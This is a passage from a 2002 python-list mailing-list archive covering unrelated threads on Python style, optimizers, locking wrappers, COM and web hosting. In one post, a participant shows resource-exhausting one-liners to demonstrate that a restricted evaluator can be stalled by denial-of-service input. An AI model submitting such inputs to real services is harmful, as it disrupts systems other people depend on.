welcome. There are ways to > disagree, and even disagree much, while staying friendly. [James J. Besemer] Americans tend to value straight talk. I put it all under the category of effective communication. Being French Canadian, this may be alien to you. [Steve Holden] > Well, speaking as a US-based Englishman (from Yorkshire, where sarcasm comes > as naturally as calling your best friend a stupid bastard) I have to say my > experience is that *some* Americans will *say* they value straight talk > until they actually receive some, Then one is being "aggressive". [James J. Besemer] Sad but true. I trust you don't lump me in that category. :-) trying-to-play-a-mirror-here-ly y'rs Huaiyu From huaiyu at gauss.almadan.ibm.com Fri May 10 22:00:09 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 11 May 2002 02:00:09 +0000 (UTC) Subject: Comments on Version 2, Draft Pep for Deprecating Builtins References: Message-ID: Jeff Epler wrote: >On Thu, May 09, 2002 at 06:30:36PM +0000, Huaiyu Zhu wrote: >> I don't see the reason to prevent 2**2002. > >$ time python2.3 -c '2**2**20' >86.28user 0.40system 1:36.95elapsed 89%CPU (0avgtext+0avgdata 0maxresident)k >0inputs+0outputs (304major+300minor)pagefaults 0swaps >... and AFAIK that's with the GIL held, so it means anybody who can >r_eval an arbitrary string blocks your entire application for an >arbitrary amount of time (or until the intermediate result no longer >fits in RAM) > >Or try >$ time python2.3 -c '[[0] * 2**x for x in range(15, 31)]' >Traceback (most recent call last): > File "", line 1, in ? >MemoryError >Command exited with non-zero status 1 >6.76user 2.69system 1:02.34elapsed 15%CPU (0avgtext+0avgdata 0maxresident)k >0inputs+0outputs (38459major+97990minor)pagefaults 32247swaps >... I thrashed the machine pretty good for a minute. I could have >thrashed it for longer if I'd tried. > > >> But if there is such a reason, >> maybe one should tweak r_eval to handle it? > >r_eval doesn't perform this level of inspection of code. Oh, you are thinking about complexity analysis. I'm afraid that can't be done generally by any tool, unless it is really draconian, ie blocking many perfectly valid strings like "2**2002". Huaiyu From bugzilla at bugs.activestate.com Thu May 9 04:31:06 2002 From: bugzilla at bugs.activestate.com (Bugzilla Mailinterface) Date: 9 May 2002 08:31:06 -0000 Subject: Bugzilla Error In-Reply-To: <200205090829.g498TDb31825@smtp1.ActiveState.com> Message-ID: <20020509083106.25352.qmail@listserv.ActiveState.com> ActiveState Bugzilla Bugzilla found the following warnings (not critical): Priority has been set to the default (3-Medium). Bug severity has been set to the default value (4-normal). Hardware has been set to the default value (Unknown). Operating System has been set to the default value (Unknown). Bugzilla did not process this email because there were some errors with this submission. Please correct the following errors, or use our online interface at http://bugs.activestate.com/bugzilla. For more information on submitting bugs by email please see http://bugs.activestate.com/bugzilla/help.cgi. Bugzilla found the following errors (critical): Your email did not contain a required key: @product. Your email did not contain a required key: @version. Your email did not contain a required key: @component. From tjreedy at udel.edu Thu May 16 14:53:05 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 May 2002 18:53:05 GMT Subject: how to determine an 'open' string? References: Message-ID: "holger krekel" wrote in message news:mailman.1021560087.23138.python-list at python.org... > with my replacement rlcompleter module i'd like to > have a *correct* check if a string is 'open'. > examples: > > asd"""askdjalsdk # open > aksdjasd # closed > asjdkk"kajsd'''' # open > "'asdasd" # closed > """dontcountoneven" # open > > so i need a function which takes these strings as > an argument and return 1 for 'open', 0 for a 'closed' string. > > Any working ideas? What means 'open'? A few examples do not a definition make. Write a complete definition (one that applies to all strings) that *you* regard as correct and think you are willing to live with. Then translate to code (probably the easier part). Terry J. Reedy From niemeyer at conectiva.com Thu May 2 23:11:13 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 3 May 2002 00:11:13 -0300 Subject: Low level python In-Reply-To: <4_hA8.4181$lA2.420467@news.xtra.co.nz> References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: <20020503001113.A1330@ibook.distro.conectiva> Hi Matthew! > I've been thinking of writing a device driver in python. [...] > Does anyone not think this is a crazy thing to do? > > Why not use python for a device driver? As a python fan, I'd love do see such beast implemented! I will test it for sure, and may even reuse the framework for more crazy projects. As a general developer and computer user, I wouldn't like to have python permanently loaded in kernel memory, consuming memory and cpu power. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From daniel at dittmar.net Thu May 9 15:18:26 2002 From: daniel at dittmar.net (Daniel Dittmar) Date: Thu, 09 May 2002 21:18:26 +0200 Subject: Python Service References: Message-ID: <3CDACB82.700@dittmar.net> > It seems that the SRVANY wrapper fails at the line where the Python script > shells out to command line to run the PGP script. Using os.popen will not work inside of services or GUI programs (because there is no stdin and stdout). I'm not sure whether the module popen2 is better suited for this task. Daniel From tdelaney at avaya.com Wed May 8 23:46:00 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 13:46:00 +1000 Subject: comparing lists Message-ID: Here's a much simpler version that demonstrates the problem ... -- import string from time import clock from random import randrange dSize = 3 delim = ''.join(map(chr, [randrange(0,256) for _ in range(dSize)])) def DelaneyCompare(l1, l2): l1 = map(string.lower, l1) l2 = map(string.lower, l2) l1.sort() l2.sort() return l1 == l2 def LuluCompare(l1, l2): l1.sort() l2.sort() s1 = delim.join(l1).lower() s2 = delim.join(l2).lower() return s1 == s2 if __name__=='__main__': l1 = ['a', 'B'] l2 = ['A', 'b'] start = clock() print 'Delaney Result:', DelaneyCompare(l1, l2) print 'Time:', clock()-start start = clock() print 'Lulu Result: ', LuluCompare(l1, l2) print 'Time:', clock()-start ---------- Run ---------- Delaney Result: 1 Time: 0.000247198842009 Lulu Result: 0 Time: 9.83796172198e-005 In addition, the results seen with LuluCompare were heavily influenced by the fact that by having SIZE = 100000 l1 = ['aaaaa' for x in range(SIZE)] l2 = ['aaaaa' for x in range(SIZE)] you end up getting 200000 references to exactly the same object (the interned string 'aaaaa'). This will greatly speed up any sort routine (comparison of identity only required). DelaneyCompare OTOH was generating an additional 200000 different string objects, then comparing those. Always make sure your test data accurately reflects reality. Tim Delaney From jvanasco at hotmail.com Fri May 10 21:25:57 2002 From: jvanasco at hotmail.com (Jonathan Vanasco) Date: Sat, 11 May 2002 01:25:57 +0000 Subject: making postscript of pdf files (John La Rooy) Message-ID: Thanks. I'll look into it I had previously tried a google search (as also suggested) (of course) -- but all the links i found were outdated or irrelevant. pugo.org looked like it would be ideal, but i couldn't get it to work under python 2.2 (and i dont feel like downgrading to 1.5 for this). i wish python was more centralized and organized like perl. you need info on perl, there's a pile of documentation in one central place. you need info on python, its time for a treasure hunt... _________________________________________________________________ Join the world?s largest e-mail service with MSN Hotmail. http://www.hotmail.com From skip at pobox.com Thu May 30 22:04:23 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 30 May 2002 21:04:23 -0500 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: <15606.55847.363196.20851@12-248-41-177.client.attbi.com> >> rows = self.executesql("select cities.city, state, country" >> " from cities, venues, events, addresses" >> " where cities.city like %s" >> " and events.active = 1" >> " and venues.address = addresses.id" >> " and addresses.city = cities.id" >> " and events.venue = venues.id", >> (city,)) Tim> Just wondering Skip ... why would you write this rather than a Tim> triple-quoted string? Habit. Tim> Of course, I also would have bound the SQL to a name first ... Doesn't make sense to me. Each sql statement is substantially different from all the rest and is only single use. The particular file I pulled that out of contains 118 calls to the executesql method, 98 of which use string literals for the SQL statement. Tim> I've yet to find a place where I've had a use for concatenating Tim> string literals. To each his own. Skip From phd at phd.pp.ru Sun May 12 15:31:10 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 12 May 2002 23:31:10 +0400 Subject: python, a scripting language? In-Reply-To: ; from nookieNO_SP_AM@online.no on Sun, May 12, 2002 at 07:14:17PM +0000 References: Message-ID: <20020512233110.A19950@phd.pp.ru> On Sun, May 12, 2002 at 07:14:17PM +0000, Erlend J. Leiknes wrote: > Anyway... I would be happy to hear some reasons why python is not a > scripting language... Because there are at least few well-know big system programs in Python. Two killer apps are Zope (Object-oriented web application framework, www.zope.org) and Mailman (One of the best mailing list managers, www.list.org; it was adopted as the official GNU Mailing List Manager!) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From rburnham at cri-inc.com Thu May 23 11:05:06 2002 From: rburnham at cri-inc.com (Roger Burnham) Date: Thu, 23 May 2002 15:05:06 GMT Subject: python-friendly web hosts: buyer beware References: Message-ID: <3ced0306.262618245@news-server.socal.rr.com> On Thu, 23 May 2002 14:36:46 GMT, Rob Andrews wrote: >As webmaster of Useless Python, I went on the hunt some months back for >python-frienly web hosting services for the site itself and to recommend >to users of the site. This has proven to be more of an adventure than I >had anticipated. In the quest, I have encountered a range of different >organizations, from the Python-enthusiastic tummy.com to a few more >dubious situations. > > Give http://www.modwest.com/ a look. I've found them _very_ responsive. They have the latest Python version and have added PIL and a few other packages at my request, usually less than an hour after asking. Cheers, Roger Burnham rburnham at blennylips.com From kragen at pobox.com Fri May 17 03:39:06 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:39:06 -0400 Subject: #ifdef like question. References: Message-ID: <831ycbxlyd.fsf@panacea.canonical.org> Jeff Shannon writes: > No, I don't think there's a need for a nicer way to write two > sets of code with identical functionality. Once you've written > the old, backwards-compatible code, then (as Dave Brueck has > already pointed out) where's the benefit in also writing the > using-new-features code? Well, mostly I agree with you, but there are a couple of exceptions in my experience. 1. where using the new feature means you can offer something extra: better performance, access to more file formats, etc. 2. where the new feature is only useful with the new version of Python. For example, MetaPy.Sequence defines a += operator in a backwards-compatible way, but the test suite for MetaPy.Sequence only tests it if += doesn't raise a SyntaxError. But usually I agree that it's better to go with only one version, even if it's slower or clumsier. It goes without saying that if you *do* decide to duplicate code, you should go to great lengths to duplicate as little as possible. From cbbrowne at acm.org Thu May 2 14:36:14 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Thu, 02 May 2002 14:36:14 -0400 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: Centuries ago, Nostradamus foresaw when "Steve Holden" would write: > "Patrick W" wrote ... > [...] >> >> import IMHO and sprinkle it liberally throughout. >> >> A programmer ought to know at least four languages in depth. If those >> four languages are well chosen, they can last a lifetime. If they lack >> certain features that come pre-packaged elsewhere, it's far better to >> acquire the _concepts_ and _techniques_ implicit in them, and >> implement them in your chosen language(s), as opposed to madly >> accumulating new notations simply because they possess a convenient >> feature or two. > So, what you seem to be saying is that I should have stuck with > Algol 60, PLAN, PL/1 and IBM 1130 assembly language? In a sense, yes. The regular "sheep flight" where the sheep "nest" in one language for a couple of years, and head on to the next as soon as it emerges as "hot" has taken people assortedly through: -> BASIC -> FORTRAN, PL/1, COBOL -> Turbo Pascal -> C, C++, Java -> Ada, for some -> Perl, leaping to Python or Ruby or PHP -> xBase languages and Clipper -> "4GLs" like Natural, Focus, ABAP/4 And the typical result I keep seeing isthat you get people writing crummy looking COBOL-like code in whatever language they come to. Perl gets bashed as being "unreadable;" my opinion is that while this _is_ a commonplace result, it comes not because Perl is inherently horrible or unreadable, but rather because it is a place where two "herds" have come together: -> On the one hand, there are some clever members of the herd that have great fun in using oddball idioms to build over-clever code that is intentionally unreadable. -> On the other hand, most of the "stampede" is made up of people that used to write bad COBOL, and have leaped over to Perl with the result that they write bad COBOL in Perl, achieving a sort of "worst of all possible worlds" (one that Pangloss wouldn't like). Those two groups are far more visible than those that have the ability and intent to write readable code. I think we'd be better off if there hadn't been such a stampede to create slightly distinct new languages. Actually, that's not quite right. The problem isn't in the creators. The problem is in the "morons" that stampede to whatever is new. I think it's fair to say that crummy Perl code is uglier and less readable than most anything else, and that Python has some language features that at least marginally discourage the creation of such greatly despicable code. Nonetheless, any language to which "morons" stampede will get inundated with ham-handed morons. This has the natural result that there will be a bunch of ugly, broken, unreadable code (even in Python). At some point, someone will notice this, and say "Language FOO supports writing a lot of horrible code; I'll make something better!" at which point something _marginally_ better in _some_ way is developed, and if it becomes a bit popular, the morons will leap over to it. It's pretty ironic to point to Greenspun's principles of programming: "Any sufficiently complicated C or Fortran program contains an ad hoc informally-specified bug-ridden slow implementation of half of Common Lisp." -- Philip Greenspun "Every sufficiently unreadable programming language contains a reimplementation of APL and/or INTERCAL." -- Greenspun's Eleventh Rule of Programming There was a pretty clear progression of improvements between Pascal, Modula, Modula-2, and Modula-3; it is much less obvious that Ada is _fundamentally_ better than, say, M3. It's probably fair to call C++ the PL/1 of the 1990s; it is NOT evident that it is clearly a vastly superior language to PL/1, despite being a whole lot newer. It's pretty funny when people point to C++ and describe it as "Simula--". And it's also instructive that aficionados of Algol point to it being better than most of its successors. That seems very likely to be true. I think what we're mostly seeing, in the language "popularity wars," is the principle that Foo is newer, and therefore better absent of actual evidence to support that. People are still adding features to OSes that can be traced back to Multics, available in the 1960s. I expect that someone could make a great career as a "language designer" by simply coming out with a new language every few years that adds in a feature or two that was in Algol that none of the other language designers has been literate enough to have bothered noticing. There's _some_ hyperbole in that expectation, only some. Just look at Ruby for a bit of an example. One of the matters of "significant excitement" in it is that it brings back "mixins" as an object model. That's something that dates back to the early days of Common Lisp and FLAVORS. I would bet almost any money that someone could similarly make a "career" of creating new languages simply by picking features out of CLOS and using them as the basis for a "new language." -- (concatenate 'string "aa454" "@freenet.carleton.ca") http://www.cbbrowne.com/info/lsf.html It is in the tranquillity of decomposition that I remember the long confused emotion which was my life. From tjreedy at udel.edu Wed May 22 10:43:34 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 22 May 2002 14:43:34 GMT Subject: reading directory entries one by one References: Message-ID: "Michael P. Soulier" wrote in message > > And who created file() as an alias for open()? Guido did as part of the type-class unification. Type objects (int, float, str, tuple, list, dict, file, etc), when called, now produce an object of that type, just as class object have always done. TJR From pinard at iro.umontreal.ca Sun May 5 09:08:01 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 05 May 2002 09:08:01 -0400 Subject: YACC grammar for Python In-Reply-To: References: Message-ID: [David Pereira] > I was wondering where I could get a YACC grammar for Python. I think I got one, two or three weeks ago, for my `Topy' project[1]. It is written for PLY, not YACC, but they are quite compatible, it would be a simple editing job to get the YACC grammar out of doc-strings. A few conflicts remain, which I did not find time to address. I have to go now, but I'll make another `Topy' snapshot later today, so you can grab it. [Martin v. Loewis] > you just need a scanner that generates the proper INDENT and DEDENT tokens. Which `Topy' also has, in case it helps. Other projects surely have it too. ---------- [1] This was before the Great Emergencies fell on my shoulders, but my shoulders should be free again within a few days, hopefully :-). -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From plugin at supercable.es Thu May 9 17:57:08 2002 From: plugin at supercable.es (Ugo García) Date: Thu, 9 May 2002 23:57:08 +0200 Subject: Join Python script into a huge one Message-ID: <1020981481.93253@seux119> hi all. I use python as the script language of a game I'm doing in Visual C. The problem that I have is that the game could have very much scripts and I don't want the user to "see" those. I know that I can compile them and don't include the source but I still having the problem of the number of files. Is there any way to join ALL scripts into a huge one???? It could be great to have all the scripts in only one file. Thanks in advance --ugo From gerhard at bigfoot.de Tue May 14 21:49:44 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 15 May 2002 01:49:44 GMT Subject: Multi-precision packages: gmpy vs mxNumber References: Message-ID: Fernando P?rez wrote in comp.lang.python: > Do any of the experts have any advice on the pros and cons of these two GMP > wrappers? [...] While we're at it, is there any Python extension for fixed point arithmetic available? pyPgSQL has a fixed point type implemented in Python, which should eventually be replaced by a C type. It would be great if I could borrow code somewhere. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From jjl at pobox.com Thu May 2 15:56:24 2002 From: jjl at pobox.com (John J. Lee) Date: Thu, 2 May 2002 20:56:24 +0100 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: References: <200204301620.00255.bhan@andrew.cmu.edu> <200205021352.g42Dqeq06229@cascade.cascade-sys.com> <3CD14EE9.22B7F4F2@cascade-sys.com> Message-ID: On Thu, 2 May 2002, Alex Martelli wrote: [...] > Given that performance considerations cannot necessarily be _kept_ > apart, the main worth of FP is still as a thinking tool (in most cases). [...] I'm surprised enough by this statement that I think I must have misunderstood it. Surely the fact that performance can't always be separated from the rest of programming doesn't imply that 'higher-level', slower languages than C++ (such as Python) are only of value as thinking tools in most cases?? John From cliechti at gmx.net Fri May 3 20:44:55 2002 From: cliechti at gmx.net (Chris Liechti) Date: 4 May 2002 02:44:55 +0200 Subject: Synchronization mixin in Python anyone? References: Message-ID: Gustavo Cordova wrote in news:mailman.1020461587.9261.python-list at python.org: > Hmmm... interesting problem. I've been playing with a function > synchronization class lately, just toying with the idea. I don't > know if anybody wants it, but here's the basic skeleton: > > ### SynchronizedCall > import thread > > class SynchronizedCall: > def __init__(self, function, *args, **kw): > self._lock = thread.Lock() > self._args = args > self._kw = kw > self._function = function > > def __call__(self, *args, **kw): > self._lock.acquire() > try: > args = self._args + args > kw.update(self._kw) > result = self._function(*args, **kw) > > ## In case of an exception, release lock first. > except: > self._lock.release() > raise > > self._lock.release() > return result > > ## THE END the "except" is wrong placed here - that's what "try: finally:" is for: try: args = self._args + args kw.update(self._kw) return = self._function(*args, **kw) finally: self._lock.release() > Really quite simple. well, you're mixing locking and currying in one wrapper. i would prefer to have them separately. > The thing that discouraged me from trying to do this with > instance methods, is that it becomes a bit complicated if > someone takes a reference to a method, like I do commonly: > > ## Example > > rex = sre.compile(r"really big and complicated", sre.S|sre.I) > > find_everything = rex.findall > > while ... : > ... > things = find_everything(string) > ... > > ## End example > > So, how would I protect calls to rex.findall() when they're > done through find_everything() ? by replacing rex.findall with the wrapped method. something like that: rex.__class__.findall = SynchronizedCall(rex.__class__.findall) (note that this has side effects on all instaces of the "Regular Expression Object" and therefore should be considered evil) with user defined classes this at least looks easier: class A: def f(): print "hello" f = SynchronizedCall(f) the problem here, like above, is that it has an effect on all instaces of A, because there is only _one_ lock for all instances. not realy what you want... the SynchronizedCall wrapper might be too simple for OO. i think it makes more sense when one method can lock out another on the same instance, like "synchronized" in Java (e.g. get and set methods for an attribute can not be called at the same time). maybe it is that what the OP wanted with his mix-in. chris -- Chris From sehamran at frisurf.no Fri May 10 14:00:03 2002 From: sehamran at frisurf.no (seh) Date: 10 May 2002 11:00:03 -0700 Subject: Pyserial , JavaComm and installation Message-ID: <7557b51f.0205101000.114021c4@posting.google.com> I have tried to install the Pyserial package. I get no error doing import serial. I can create a serial object. The only problem is that writing a command over my serial port does not work. I believe the problem is associated with the installation of the JavaComm files as I do not know how to do this. I have no Java folder in the Program files directory to put them in. Cna anybody tell me how to install the JavaCOmm files? Svein-Erik From rjones at ekit-inc.com Wed May 8 03:03:06 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Wed, 8 May 2002 17:03:06 +1000 Subject: Whats so good about Python? In-Reply-To: References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: <200205081703.06989.rjones@ekit-inc.com> On Wed, 8 May 2002 16:52, Alex Martelli wrote: > Michael Gilfix wrote: > > Better yet, why doesn't someone just write the Python vs. Perl FAQ? > > It'll be a good advertiser for the community and then we can avoid these > > threads by just pointing people at a URL. > > Since both Perl and Python are in continuous evolution, such a FAQ (of > which various versions exist) would become obsolete very fast unless > actively maintained. Witness half the stuff in http://www.python.org/doc/Comparisons.html - anything written > 2 years ago can probably be thought of as obsolete. Glancing at some, I see that they're flat out wrong in places. Richard From shalehperry at attbi.com Wed May 1 16:56:06 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 01 May 2002 13:56:06 -0700 (PDT) Subject: Polymorphing - how? In-Reply-To: Message-ID: On 01-May-2002 Jaros?aw Zabie??o wrote: > I would like to execute functions which names will be changed during > runtime. The following approach does not work. :-( > > def First(s): > print "myFun1: %s" % s > def Second(s) > print "myFun2: %s" % s > name = 'First' > name('blah') # It doesn't work. :-( > # TypeError: 'str' object is not callable > name = 'Second' > name('blah') # Like above. > name = First name('blah') name = Second name('blah') will work. otherwise you need to exec the string. From kkto at csis.hku.hk Wed May 29 22:47:05 2002 From: kkto at csis.hku.hk (Isaac To) Date: 30 May 2002 10:47:05 +0800 Subject: Why no open(f, "w").write()? References: Message-ID: <7iadqi9wt2.fsf@enark.csis.hku.hk> >>>>> "Grant" == Grant Edwards writes: >> The question is: When does the file get closed? Grant> Sometime before the program exits. Wrong. Sometime when the garbage collector is executed, or never if the garbage collector never choose to collect that. Regards, Isaac. From aahz at pythoncraft.com Fri May 17 20:53:55 2002 From: aahz at pythoncraft.com (Aahz) Date: 17 May 2002 20:53:55 -0400 Subject: Reliable message queue (was Re: ANN: Python Spread Module 1.1 Released) References: Message-ID: [just reposting this under a different Subject: because this topic has been discussed recently] In article , Guido van Rossum wrote: > >I've released version 1.2 of the Spread Module for Python: > > http://www.python.org/other/spread/ > >About the Spread Module >----------------------- > >This package contains a simple Python wrapper module for the Spread >toolkit (see below). The wrapper is compatible with Python 2.1 and >2.2. It wraps Spread mailboxes and messages in Python objects with >appropriate methods and attributes, and turns Spread errors into >Python exceptions. Virtually all Spread features are accessible from >Python. > >About Spread >------------ > >From the Spread website (http://www.spread.org): > >Spread is a toolkit that provides a high performance messaging service >that is resilient to faults across external or internal networks. >Spread functions as a unified message bus for distributed >applications, and provides highly tuned application-level multicast >and group communication support. Spread services range from reliable >message passing to fully ordered messages with delivery guarantees, >even in case of computer failures and network partitions. > >Spread is designed to encapsulate the challenging aspects of >asynchronous networks and enable the construction of scalable >distributed applications, allowing application builders to focus on >the differentiating components of their application. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From oren-py-l at hishome.net Thu May 30 08:26:47 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Thu, 30 May 2002 08:26:47 -0400 Subject: 'for every' and 'for any' In-Reply-To: References: Message-ID: <20020530122647.GA82198@hishome.net> On Thu, May 30, 2002 at 09:09:39AM +1000, Delaney, Timothy wrote: > > From: Oren Tirosh [mailto:oren-py-l at hishome.net] > > > > I don't have a personal utility library. It's on purpose. I don't have > > personalized key bindings. I try to avoid customization. > > Customization is > > a big part of what makes one programmer's code difficult to > > maintain by > > another programmer, what makes on programmers's workstation > > unusable by > > another and makes combining code from several sources difficult. > > What? You mean you write everything from scratch every time? Guess you don't > use any third-party libraries either. Oh - and I guess you don't use modules > - everything must be in a single file. Aww... leave that poor little strawman alone. Sure, I have code I have collected over the years for various specific purposes and I reuse code written by others. What I don't have is a personal library with lots of unrelated little tricks and idiosyncracies of questionable value that might make me feel a bit more comfortable but only makes the code feel alien when it's read by someone else. For some reason, reading Python code almost always feels familiar regardless of who wrote that code. This is definitely not true of C, C++ or Perl. Oren From mhammond at skippinet.com.au Thu May 23 02:08:49 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Thu, 23 May 2002 06:08:49 GMT Subject: PythonCOM Problem: Automating WinFAX from Python References: <6jnneuggumqho7akcbjf8i13t5ae70ffeh@4ax.com> Message-ID: <3CEC87C7.2090502@skippinet.com.au> Tino Lange wrote: > The function I want to use now on the "appObj" is "GetAutoRecieve()". > It's signature in C++ is > > short GetAutoRecieve(LPCTSTR sDevice, short FAR * nStatus) > > How can I code this in Python? How to emulate a pointer to an integer? If you run makepy over the type library, it should be "magic", and something like: rc, status = app.GetAutoRecieve("whatever") or, in the more likely case that the "short" is actually the HRESULT, it will just be: status = app.GetAutoReceive ... This latter will always work (even if there are multiple return types), so try this and simply print the value of "status" to see if it is a tuple (multi-return) or a simple value (single return). Mark. From mgilfix at eecs.tufts.edu Tue May 14 13:42:55 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Tue, 14 May 2002 13:42:55 -0400 Subject: Upper memory limit In-Reply-To: <3CE14638.658C6F0E@kfunigraz.ac.at>; from siegfried.gonzi@kfunigraz.ac.at on Tue, May 14, 2002 at 07:15:36PM +0200 References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE14638.658C6F0E@kfunigraz.ac.at> Message-ID: <20020514134255.F24034@eecs.tufts.edu> On Tue, May 14 @ 19:15, Siegfried Gonzi wrote: > Python disposes the memory after completing the calculation (I can see > it in the task manager). But nobody has answered my question: Is Python > just a garbage collector or a garbace collector *and* remover? Python does two things: Reference counting (removal after reference has expired) and garbage collection; implementing clean up at appropriate intervals. The mix of the two approaches is often the best way of approaching memory management in terms of complexity and obtrusiveness to program execution. > The hint: reboot your Krempel every hour does not always work. In the > afternoon I started a calculation at about 3 pm. I am sitting (in the > meantime I have even successfully installed Linux) still here and wait > until the calculation comes to an end (note: before I fired up the > calculation I rebooted the system). Well, if you're going over 128M and into swap, it could slow stuff down but I urge you to make sure that you're tackling the problem correctly. > I cannot comprehend the following: As I wrote, I call 8 times the same > function, and it is interesting to observe that the first call to the > function takes about 10-15 minutes, the second call also 10-15minutes, > but the successive calls become always longer and longer; after 4 hours > I am at my 6. call and still waiting. Sounds like you have some side effects. If you don't feel that python is freeing stuff correctly, try using 'del' to tell python to free a variable explicitly. > > I have to underline that I do not use any object oriented programming > technique (I assume you meant this when you write "self"). I use simple > functions. Okay I have to admit that I make heavy use of the following > scheme: > > def f(list,list2): > erg = [] > for k in range( len(list) ): > erg.append( function_on_list2( list2[j] ) ) > return erg There's a bug in this though. it should be 'list2[k]', not 'j'. Perhaps that's your side-effect? Why not do something like this? Much more readable and less error prone: erg = map (lambda x, f=function_on_list2: f(x), list2[:k]) or with list comprehension if you prefer: erf = [ function_on_list2(x) for x in list2[:k] ] Must easier. > > I find the above very readable (and often better in style than Numeric's > idiosyncrasy). > > I hope I can make the transition to Linux in the next few month (hoping > that the installation on my laptop will succeed). Well, welcome to Linux :) But don't discard python on windows just yet. It usually does the job. -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From jb at cascade-sys.com Fri May 10 09:24:59 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 10 May 2002 06:24:59 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <+tY+cWAOr528EwNI@jessikat.demon.co.uk> Message-ID: <3CDBCA2B.8C9AA0D5@cascade-sys.com> Robin Becker wrote: > >No, I was using "pattern" in it's most general sense, meaning to include both > >global and local optimizers. In this overall thread I have alluded to examples > >in both extremes. > ..... > well I disagree with the term pattern in this reply as it implies > something that matches anything which is optimisable ie such a pattern > must match all inputs. Personally I very much prefer the term "pattern" as that's how I learned to think about this class of algorithms back when I studied AI. There are strong parallels between global optimization and a lot of AI algorithms. I don't disagree with anything you say below. It's a good summary of the true, theoretical objective of optimization, maximizing a "utility" metric. That very terminology -- utility or cost functions -- is a signature feature of many AI algorithms. So I was talking at the next level down in abstraction from you, about the actual algorithms used in practice by many optimizing compilers. Without contradicting anything you say (other than your rejection of my use of "pattern") I am attempting to portray in more detail the actual implementation that often gets used. You're right to point out that different utility functions may apply and, strictly speaking, that would rule out any single "pattern". However, in practice "optimization" does not consist of just one pattern that either succeeds or fails. Rather there is a collection of patterns and a way to select which subset is to be applied in any given circumstance. The optimizer visits successive nodes in a structure that represents the original code. "Patterns" define subsets of node structures that can be compared with to prospective matches in the code tree. Nodes in patterns and the parse tree are annotated with information about semantics that further constrains the match. When there's a match, the parse tree is transformed according to rules associated with each pattern. Of course, once an optimization is applied, conceiveably the entire tree needs to be re-examined. Also some possible optimizations may conflict and it's necessary to consider both alternatives to squeze the last bit of speed. Of course this implies a lot of work as a small number of alternatives quickly produces a large number of total combinations to consider. So a lot of compilers have a switch to enable "full" optimization. This switch remains off during much of the development phase, as it can significantly increase build times. In practice, you usually have a big global switch for speed vs. space. Some "patterns" save BOTH speed and space and might as well always be applied, though most line up either on the speed or on the space side of the hall. For better or worse, compilers also usually provide a list of individual specific options, such as 'assume no aliases across function calls', 'keep inline functions', 'no function common sub expression elimination', etc. Each is a pattern or a family of patterns that may selectively searched for over the entire parse tree. As others pointed out, this is a very complex problem domain with many, many opportunities to screw things up. Again, I don't mean to contradict anything you say below. Regards --jb > The problem of code optimisation problem is > approximately > > choose c to optimise F(c,X(c,d)) > such that X(c,d)=S(p,d) > c=code > p=program > d=program data > F=utility function ie code size/speed etc > X=execution function > S=semantic function > > expressed in this form looking for patterns in p is clearly wrong since > S(p,d) is fixed for a particular program only up to the program data > which we don't normally know. Classic example is all that loop hoisting > which is wasteful if the loop never actually gets used. > > Real experts on optimisation will also tell us that there are extended > versions of the above eg vector valued F etc etc and will almost always > be very cautious about solvability. > > Clearly the most important thing here is to ensure feasibility ie > X(c,d)=S(p,d) for all d; I suppose that's what we mean by safe. > > -- > Robin Becker > -- > http://mail.python.org/mailman/listinfo/python-list -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From brueckd at tbye.com Thu May 23 23:34:38 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Thu, 23 May 2002 20:34:38 -0700 (PDT) Subject: exe In-Reply-To: <1e140f34.0205231423.26a1ed28@posting.google.com> Message-ID: On 23 May 